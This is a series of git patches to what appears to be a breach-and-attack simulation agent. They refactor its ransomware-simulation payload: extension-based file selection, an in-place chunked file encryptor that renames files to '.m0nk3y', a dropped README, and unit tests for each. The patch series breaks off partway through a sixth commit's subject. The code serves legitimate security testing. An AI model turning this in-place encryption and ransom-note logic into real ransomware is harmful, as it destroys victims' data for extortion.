From 222c394dbcf71e51036caf0e5984f22a895f1af3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 16:17:26 -0400 Subject: [PATCH 01/16] Agent: Accept a "leave_readme" Callable instead of copy_file --- monkey/infection_monkey/monkey.py | 6 +- .../ransomware/ransomware_payload.py | 24 +------- .../ransomware/readme_utils.py | 22 +++++++ monkey/tests/conftest.py | 2 +- monkey/tests/data_for_tests/test_readme.txt | 1 + .../ransomware/test_ransomware_payload.py | 57 ++++++++++--------- .../ransomware/test_readme_utils.py | 32 +++++++++++ 7 files changed, 92 insertions(+), 52 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/readme_utils.py create mode 100644 monkey/tests/data_for_tests/test_readme.txt create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e89b9ab2c..ca6976f91 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -1,7 +1,6 @@ import argparse import logging import os -import shutil import subprocess import sys import time @@ -20,6 +19,7 @@ from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach +from infection_monkey.ransomware import readme_utils from infection_monkey.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton @@ -478,7 +478,9 @@ class InfectionMonkey(object): try: RansomwarePayload( - WormConfiguration.ransomware, batching_telemetry_messenger, shutil.copyfile + WormConfiguration.ransomware, + readme_utils.leave_readme, + batching_telemetry_messenger, ).run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index f4295f866..b8f0d8805 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -24,8 +24,8 @@ class RansomwarePayload: def __init__( self, config: dict, + leave_readme: Callable[[Path, Path], None], telemetry_messenger: ITelemetryMessenger, - copy_file: Callable[[Path, Path], None], ): LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") @@ -38,7 +38,7 @@ class RansomwarePayload: self._targeted_file_extensions.discard(self._new_file_extension) self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) - self._copy_file = copy_file + self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger @staticmethod @@ -66,7 +66,7 @@ class RansomwarePayload: self._encrypt_files(file_list) if self._readme_enabled: - self._leave_readme() + self._leave_readme(README_SRC, self._target_dir / README_DEST) def _find_files(self) -> List[Path]: LOG.info(f"Collecting files in {self._target_dir}") @@ -97,21 +97,3 @@ class RansomwarePayload: def _send_telemetry(self, filepath: Path, success: bool, error: str): encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) - - def _leave_readme(self): - - readme_dest_path = self._target_dir / README_DEST - - if readme_dest_path.exists(): - LOG.warning(f"{readme_dest_path} already exists, not leaving a new README.txt") - return - - self._copy_readme_file(readme_dest_path) - - def _copy_readme_file(self, dest: Path): - LOG.info(f"Leaving a ransomware README file at {dest}") - - try: - self._copy_file(README_SRC, dest) - except Exception as ex: - LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/infection_monkey/ransomware/readme_utils.py b/monkey/infection_monkey/ransomware/readme_utils.py new file mode 100644 index 000000000..a3037e76a --- /dev/null +++ b/monkey/infection_monkey/ransomware/readme_utils.py @@ -0,0 +1,22 @@ +import logging +import shutil +from pathlib import Path + +LOG = logging.getLogger(__name__) + + +def leave_readme(src: Path, dest: Path): + if dest.exists(): + LOG.warning(f"{dest} already exists, not leaving a new README.txt") + return + + _copy_readme_file(src, dest) + + +def _copy_readme_file(src: Path, dest: Path): + LOG.info(f"Leaving a ransomware README file at {dest}") + + try: + shutil.copyfile(src, dest) + except Exception as ex: + LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index 23249016e..23cc840a3 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -10,4 +10,4 @@ sys.path.insert(0, MONKEY_BASE_PATH) @pytest.fixture(scope="session") def data_for_tests_dir(pytestconfig): - return os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests") + return Path(os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests")) diff --git a/monkey/tests/data_for_tests/test_readme.txt b/monkey/tests/data_for_tests/test_readme.txt new file mode 100644 index 000000000..8ab686eaf --- /dev/null +++ b/monkey/tests/data_for_tests/test_readme.txt @@ -0,0 +1 @@ +Hello, World! diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 2db9ecb4a..ce6b7b08e 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,6 +1,5 @@ import os -import shutil -from pathlib import Path, PurePosixPath +from pathlib import PurePosixPath from unittest.mock import MagicMock import pytest @@ -24,7 +23,12 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module -from infection_monkey.ransomware.ransomware_payload import EXTENSION, README_DEST, RansomwarePayload +from infection_monkey.ransomware.ransomware_payload import ( + EXTENSION, + README_DEST, + README_SRC, + RansomwarePayload, +) def with_extension(filename): @@ -51,13 +55,18 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config): @pytest.fixture -def build_ransomware_payload(telemetry_messenger_spy): +def build_ransomware_payload(telemetry_messenger_spy, mock_leave_readme): def inner(config): - return RansomwarePayload(config, telemetry_messenger_spy, shutil.copyfile) + return RansomwarePayload(config, mock_leave_readme, telemetry_messenger_spy) return inner +@pytest.fixture +def mock_leave_readme(): + return MagicMock() + + def test_env_variables_in_target_dir_resolved_linux( ransomware_payload_config, build_ransomware_payload, ransomware_target, patched_home_env ): @@ -215,49 +224,41 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ assert "No such file or directory" in telem_1.get_data()["files"][0]["error"] -def test_readme_false(build_ransomware_payload, ransomware_payload_config, ransomware_target): +def test_readme_false( + build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_target +): ransomware_payload_config["other_behaviors"]["readme"] = False ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - assert not Path(ransomware_target / README_DEST).exists() + mock_leave_readme.assert_not_called() -def test_readme_true(build_ransomware_payload, ransomware_payload_config, ransomware_target): +def test_readme_true( + build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_target +): ransomware_payload_config["other_behaviors"]["readme"] = True ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - assert Path(ransomware_target / README_DEST).exists() - - -def test_readme_already_exists( - monkeypatch, ransomware_payload_config, telemetry_messenger_spy, ransomware_target -): - monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), - mock_copy_file = MagicMock() - - ransomware_payload_config["other_behaviors"]["readme"] = True - Path(ransomware_target / README_DEST).touch() - RansomwarePayload( - ransomware_payload_config, telemetry_messenger_spy, mock_copy_file - ).run_payload() - - mock_copy_file.assert_not_called() + mock_leave_readme.assert_called_with(README_SRC, ransomware_target / README_DEST) def test_no_readme_if_no_directory( - monkeypatch, ransomware_payload_config, telemetry_messenger_spy, ransomware_target + monkeypatch, + ransomware_payload_config, + mock_leave_readme, + telemetry_messenger_spy, + ransomware_target, ): monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), - mock_copy_file = MagicMock() ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" ransomware_payload_config["other_behaviors"]["readme"] = True RansomwarePayload( - ransomware_payload_config, telemetry_messenger_spy, mock_copy_file + ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy ).run_payload() - mock_copy_file.assert_not_called() + mock_leave_readme.assert_not_called() diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py new file mode 100644 index 000000000..a1edf8424 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py @@ -0,0 +1,32 @@ +import pytest +from tests.utils import hash_file + +from infection_monkey.ransomware.readme_utils import leave_readme + +DEST_FILE = "README.TXT" +README_HASH = "c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31" +EMPTY_FILE_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + + +@pytest.fixture(scope="module") +def src_readme(data_for_tests_dir): + return data_for_tests_dir / "test_readme.txt" + + +@pytest.fixture +def dest_readme(tmp_path): + return tmp_path / DEST_FILE + + +def test_readme_already_exists(src_readme, dest_readme): + dest_readme.touch() + + leave_readme(src_readme, dest_readme) + + assert hash_file(dest_readme) == EMPTY_FILE_HASH + + +def test_leave_readme(src_readme, dest_readme): + leave_readme(src_readme, dest_readme) + + assert hash_file(dest_readme) == README_HASH From 81eba6e883e63968af66f2b568e024b0d8a1343f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 19:22:42 -0400 Subject: [PATCH 02/16] Agent: Accept a "select_files" Callable --- monkey/infection_monkey/monkey.py | 10 +++- .../ransomware/file_selectors.py | 20 ++++--- .../ransomware/ransomware_payload.py | 10 +--- .../infection_monkey/ransomware/conftest.py | 8 ++- .../ransomware/test_file_selectors.py | 56 +++++++++++++++++++ .../ransomware/test_ransomware_payload.py | 26 ++++++--- 6 files changed, 103 insertions(+), 27 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index ca6976f91..0dcbbcd17 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -6,6 +6,8 @@ import sys import time from threading import Thread +from InfectionMonkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS + import infection_monkey.tunnel as tunnel from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError @@ -19,7 +21,8 @@ from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.ransomware import readme_utils +from infection_monkey.ransomware import ransomware_payload, readme_utils +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton @@ -476,9 +479,14 @@ class InfectionMonkey(object): telemetry_messenger = LegacyTelemetryMessengerAdapter() batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) + targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() + targeted_file_extensions.discard(ransomware_payload.EXTENSION) + file_selector = ProductionSafeTargetFileSelector(targeted_file_extensions) + try: RansomwarePayload( WormConfiguration.ransomware, + file_selector, readme_utils.leave_readme, batching_telemetry_messenger, ).run_payload() diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/ransomware/file_selectors.py index f34bc9ca4..167c547e8 100644 --- a/monkey/infection_monkey/ransomware/file_selectors.py +++ b/monkey/infection_monkey/ransomware/file_selectors.py @@ -10,12 +10,16 @@ from infection_monkey.utils.dir_utils import ( ) -def select_production_safe_target_files(target_dir: Path, extensions: Set) -> List[Path]: - file_filters = [ - file_extension_filter(extensions), - is_not_shortcut_filter, - is_not_symlink_filter, - ] +class ProductionSafeTargetFileSelector: + def __init__(self, targeted_file_extensions: Set[str]): + self._targeted_file_extensions = targeted_file_extensions - all_files = get_all_regular_files_in_directory(target_dir) - return filter_files(all_files, file_filters) + def __call__(self, target_dir: Path) -> List[Path]: + file_filters = [ + file_extension_filter(self._targeted_file_extensions), + is_not_shortcut_filter, + is_not_symlink_filter, + ] + + all_files = get_all_regular_files_in_directory(target_dir) + return filter_files(all_files, file_filters) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index b8f0d8805..7b3a9a42a 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -5,8 +5,6 @@ from typing import Callable, List, Optional, Tuple from common.utils.file_utils import InvalidPath, expand_path from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor -from infection_monkey.ransomware.file_selectors import select_production_safe_target_files -from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os @@ -24,6 +22,7 @@ class RansomwarePayload: def __init__( self, config: dict, + select_files: Callable[[Path], List[Path]], leave_readme: Callable[[Path, Path], None], telemetry_messenger: ITelemetryMessenger, ): @@ -34,10 +33,9 @@ class RansomwarePayload: self._target_dir = RansomwarePayload.get_target_dir(config) self._new_file_extension = EXTENSION - self._targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() - self._targeted_file_extensions.discard(self._new_file_extension) self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) + self._select_files = select_files self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger @@ -70,9 +68,7 @@ class RansomwarePayload: def _find_files(self) -> List[Path]: LOG.info(f"Collecting files in {self._target_dir}") - return sorted( - select_production_safe_target_files(self._target_dir, self._targeted_file_extensions) - ) + return sorted(self._select_files(self._target_dir)) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: LOG.info(f"Encrypting files in {self._target_dir}") diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py index a23751633..1e357c798 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py @@ -12,8 +12,12 @@ def patched_home_env(monkeypatch, tmp_path): @pytest.fixture -def ransomware_target(tmp_path, data_for_tests_dir): - ransomware_test_data = Path(data_for_tests_dir) / "ransomware_targets" +def ransomware_test_data(data_for_tests_dir): + return Path(data_for_tests_dir) / "ransomware_targets" + + +@pytest.fixture +def ransomware_target(tmp_path, ransomware_test_data): ransomware_target = tmp_path / "ransomware_target" shutil.copytree(ransomware_test_data, ransomware_target) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py new file mode 100644 index 000000000..56421be3e --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py @@ -0,0 +1,56 @@ +import os + +import pytest +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + HELLO_TXT, + SHORTCUT_LNK, + SUBDIR, + TEST_KEYBOARD_TXT, + TEST_LIB_DLL, +) +from tests.utils import is_user_admin + +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector + +TARGETED_FILE_EXTENSIONS = [".pdf", ".txt"] + + +@pytest.fixture +def file_selector(): + return ProductionSafeTargetFileSelector(TARGETED_FILE_EXTENSIONS) + + +def test_select_targeted_files_only(ransomware_test_data, file_selector): + selected_files = file_selector(ransomware_test_data) + print(ransomware_test_data) + + assert len(selected_files) == 2 + assert (ransomware_test_data / ALL_ZEROS_PDF) in selected_files + assert (ransomware_test_data / TEST_KEYBOARD_TXT) in selected_files + + +def test_shortcut_not_selected(ransomware_test_data): + extensions = TARGETED_FILE_EXTENSIONS + [".lnk"] + file_selector = ProductionSafeTargetFileSelector(extensions) + + selected_files = file_selector(ransomware_test_data) + assert ransomware_test_data / SHORTCUT_LNK not in selected_files + + +@pytest.mark.skipif( + os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" +) +def test_symlink_not_selected(ransomware_target, file_selector): + SYMLINK = "symlink.pdf" + link_path = ransomware_target / SYMLINK + link_path.symlink_to(ransomware_target / TEST_LIB_DLL) + + selected_files = file_selector(ransomware_target) + assert link_path not in selected_files + + +def test_directories_not_selected(ransomware_test_data, file_selector): + selected_files = file_selector(ransomware_test_data) + + assert (ransomware_test_data / SUBDIR / HELLO_TXT) not in selected_files diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index ce6b7b08e..b3d9269af 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -22,13 +22,14 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ) from tests.utils import hash_file, is_user_admin -from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.ransomware_payload import ( EXTENSION, README_DEST, README_SRC, RansomwarePayload, ) +from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS def with_extension(filename): @@ -55,13 +56,20 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config): @pytest.fixture -def build_ransomware_payload(telemetry_messenger_spy, mock_leave_readme): +def build_ransomware_payload(telemetry_messenger_spy, mock_file_selector, mock_leave_readme): def inner(config): - return RansomwarePayload(config, mock_leave_readme, telemetry_messenger_spy) + return RansomwarePayload( + config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy + ) return inner +@pytest.fixture +def mock_file_selector(): + return ProductionSafeTargetFileSelector(TARGETED_FILE_EXTENSIONS) + + @pytest.fixture def mock_leave_readme(): return MagicMock() @@ -209,10 +217,12 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): assert telem_2.get_data()["files"][0]["error"] == "" -def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_spy): +def test_telemetry_failure( + monkeypatch, mock_file_selector, ransomware_payload, telemetry_messenger_spy +): monkeypatch.setattr( - ransomware_payload_module, - "select_production_safe_target_files", + ProductionSafeTargetFileSelector, + "__call__", lambda a, b: [PurePosixPath("/file/not/exist")], ), @@ -251,14 +261,12 @@ def test_no_readme_if_no_directory( telemetry_messenger_spy, ransomware_target, ): - monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), - ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" ransomware_payload_config["other_behaviors"]["readme"] = True RansomwarePayload( - ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy + ransomware_payload_config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy ).run_payload() mock_leave_readme.assert_not_called() From ce2ad813212a3f7e8ba6a3477558b9c10eb15008 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 07:14:49 -0400 Subject: [PATCH 03/16] Island: Replace concrete file selector with mock in ransomware tests --- .../ransomware/test_ransomware_payload.py | 32 ++++++++++--------- 1 file changed, 17 insertions(+), 15 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index b3d9269af..5b62f3228 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -22,14 +22,12 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ) from tests.utils import hash_file, is_user_admin -from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector from infection_monkey.ransomware.ransomware_payload import ( EXTENSION, README_DEST, README_SRC, RansomwarePayload, ) -from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS def with_extension(filename): @@ -56,7 +54,7 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config): @pytest.fixture -def build_ransomware_payload(telemetry_messenger_spy, mock_file_selector, mock_leave_readme): +def build_ransomware_payload(mock_file_selector, mock_leave_readme, telemetry_messenger_spy): def inner(config): return RansomwarePayload( config, mock_file_selector, mock_leave_readme, telemetry_messenger_spy @@ -66,8 +64,15 @@ def build_ransomware_payload(telemetry_messenger_spy, mock_file_selector, mock_l @pytest.fixture -def mock_file_selector(): - return ProductionSafeTargetFileSelector(TARGETED_FILE_EXTENSIONS) +def mock_file_selector(ransomware_target): + mock_file_selector.return_value = [ + ransomware_target / ALL_ZEROS_PDF, + ransomware_target / TEST_KEYBOARD_TXT, + ] + return MagicMock(return_value=mock_file_selector.return_value) + + +mock_file_selector.return_value = None @pytest.fixture @@ -76,7 +81,11 @@ def mock_leave_readme(): def test_env_variables_in_target_dir_resolved_linux( - ransomware_payload_config, build_ransomware_payload, ransomware_target, patched_home_env + ransomware_payload_config, + build_ransomware_payload, + ransomware_target, + patched_home_env, + mock_file_selector, ): path_with_env_variable = "$HOME/ransomware_target" @@ -87,10 +96,7 @@ def test_env_variables_in_target_dir_resolved_linux( ] = path_with_env_variable build_ransomware_payload(ransomware_payload_config).run_payload() - assert ( - hash_file(ransomware_target / with_extension(ALL_ZEROS_PDF)) - == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - ) + mock_file_selector.assert_called_with(ransomware_target) def test_file_with_excluded_extension_not_encrypted(ransomware_target, ransomware_payload): @@ -220,11 +226,7 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): def test_telemetry_failure( monkeypatch, mock_file_selector, ransomware_payload, telemetry_messenger_spy ): - monkeypatch.setattr( - ProductionSafeTargetFileSelector, - "__call__", - lambda a, b: [PurePosixPath("/file/not/exist")], - ), + mock_file_selector.return_value = [PurePosixPath("/file/not/exist")] ransomware_payload.run_payload() telem_1 = telemetry_messenger_spy.telemetries[0] From 55ba5f530d497c7d78459847ef7b66113272d409 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 07:27:09 -0400 Subject: [PATCH 04/16] Agent: Add InPlaceEncryptor InPlaceEncryptor encrypts a file in place. It accepts a callable that performs the actual bit manipulation. This allows the in-place encryption functionality to be easily reused, while the actual encryption algorithm can be changed. --- .../ransomware/in_place_encryptor.py | 21 ++++++++ .../ransomware/test_in_place_encryptor.py | 49 +++++++++++++++++++ 2 files changed, 70 insertions(+) create mode 100644 monkey/infection_monkey/ransomware/in_place_encryptor.py create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py diff --git a/monkey/infection_monkey/ransomware/in_place_encryptor.py b/monkey/infection_monkey/ransomware/in_place_encryptor.py new file mode 100644 index 000000000..275945e96 --- /dev/null +++ b/monkey/infection_monkey/ransomware/in_place_encryptor.py @@ -0,0 +1,21 @@ +from pathlib import Path +from typing import Callable + + +class InPlaceEncryptor: + def __init__(self, encrypt_bytes: Callable[[bytes], bytes], chunk_size: int = 64): + self._encrypt_bytes = encrypt_bytes + self._chunk_size = chunk_size + + def __call__(self, filepath: Path): + with open(filepath, "rb+") as f: + data = f.read(self._chunk_size) + while data: + num_bytes_read = len(data) + + encrypted_data = self._encrypt_bytes(data) + + f.seek(-num_bytes_read, 1) + f.write(encrypted_data) + + data = f.read(self._chunk_size) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py new file mode 100644 index 000000000..f87302f19 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py @@ -0,0 +1,49 @@ +import os + +import pytest +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + ALL_ZEROS_PDF_CLEARTEXT_SHA256, + ALL_ZEROS_PDF_ENCRYPTED_SHA256, + TEST_KEYBOARD_TXT, + TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, + TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, +) +from tests.utils import hash_file + +from infection_monkey.ransomware.in_place_encryptor import InPlaceEncryptor +from infection_monkey.utils.bit_manipulators import flip_bits + + +@pytest.fixture(scope="module") +def in_place_bitflip_encryptor(): + return InPlaceEncryptor(flip_bits, 64) + + +@pytest.mark.parametrize( + "file_name,cleartext_hash,encrypted_hash", + [ + (TEST_KEYBOARD_TXT, TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, TEST_KEYBOARD_TXT_ENCRYPTED_SHA256), + (ALL_ZEROS_PDF, ALL_ZEROS_PDF_CLEARTEXT_SHA256, ALL_ZEROS_PDF_ENCRYPTED_SHA256), + ], +) +def test_file_encrypted( + in_place_bitflip_encryptor, ransomware_target, file_name, cleartext_hash, encrypted_hash +): + test_keyboard = ransomware_target / file_name + + assert hash_file(test_keyboard) == cleartext_hash + + in_place_bitflip_encryptor(test_keyboard) + + assert hash_file(test_keyboard) == encrypted_hash + + +def test_file_encrypted_in_place(in_place_bitflip_encryptor, ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + + expected_inode = os.stat(test_keyboard).st_ino + in_place_bitflip_encryptor(test_keyboard) + actual_inode = os.stat(test_keyboard).st_ino + + assert expected_inode == actual_inode From 39171f0950821657b0729db8e00a582afb78f226 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 08:34:58 -0400 Subject: [PATCH 05/16] Agent: Add ability to rename file to InPlaceEncryptor --- .../ransomware/in_place_encryptor.py | 25 +++++++++++++++++- .../ransomware/test_in_place_encryptor.py | 26 ++++++++++++++++++- 2 files changed, 49 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/ransomware/in_place_encryptor.py b/monkey/infection_monkey/ransomware/in_place_encryptor.py index 275945e96..beb3c1518 100644 --- a/monkey/infection_monkey/ransomware/in_place_encryptor.py +++ b/monkey/infection_monkey/ransomware/in_place_encryptor.py @@ -1,13 +1,32 @@ +import re from pathlib import Path from typing import Callable +FILE_EXTENSION_REGEX = re.compile(r"^\.[^\\/]+$") + class InPlaceEncryptor: - def __init__(self, encrypt_bytes: Callable[[bytes], bytes], chunk_size: int = 64): + def __init__( + self, + encrypt_bytes: Callable[[bytes], bytes], + new_file_extension: str = "", + chunk_size: int = 64, + ): self._encrypt_bytes = encrypt_bytes self._chunk_size = chunk_size + if new_file_extension and not FILE_EXTENSION_REGEX.match(new_file_extension): + raise ValueError(f'"{new_file_extension}" is not a valid file extension.') + + self._new_file_extension = new_file_extension + def __call__(self, filepath: Path): + self._encrypt_file(filepath) + + if self._new_file_extension: + self._add_extension(filepath) + + def _encrypt_file(self, filepath: Path): with open(filepath, "rb+") as f: data = f.read(self._chunk_size) while data: @@ -19,3 +38,7 @@ class InPlaceEncryptor: f.write(encrypted_data) data = f.read(self._chunk_size) + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") + filepath.rename(new_filepath) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py index f87302f19..ab7f43028 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_encryptor.py @@ -14,10 +14,22 @@ from tests.utils import hash_file from infection_monkey.ransomware.in_place_encryptor import InPlaceEncryptor from infection_monkey.utils.bit_manipulators import flip_bits +EXTENSION = ".m0nk3y" + + +def with_extension(filename): + return f"{filename}{EXTENSION}" + @pytest.fixture(scope="module") def in_place_bitflip_encryptor(): - return InPlaceEncryptor(flip_bits, 64) + return InPlaceEncryptor(encrypt_bytes=flip_bits, chunk_size=64) + + +@pytest.mark.parametrize("invalid_extension", ["no_dot", ".has/slash", ".has\\slash"]) +def test_invalid_file_extension(invalid_extension): + with pytest.raises(ValueError): + InPlaceEncryptor(encrypt_bytes=None, new_file_extension=invalid_extension) @pytest.mark.parametrize( @@ -47,3 +59,15 @@ def test_file_encrypted_in_place(in_place_bitflip_encryptor, ransomware_target): actual_inode = os.stat(test_keyboard).st_ino assert expected_inode == actual_inode + + +def test_encrypted_file_has_new_extension(ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + encrypted_test_keyboard = ransomware_target / with_extension(TEST_KEYBOARD_TXT) + encryptor = InPlaceEncryptor(encrypt_bytes=flip_bits, new_file_extension=EXTENSION) + + encryptor(test_keyboard) + + assert not test_keyboard.exists() + assert encrypted_test_keyboard.exists() + assert hash_file(encrypted_test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 From 0cb975a592cd36c35fbd509e1ad5b571a17cff2f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Jul 2021 08:38:51 -0400 Subject: [PATCH 06/16] Agent: Rename InPlaceEncryptor -> 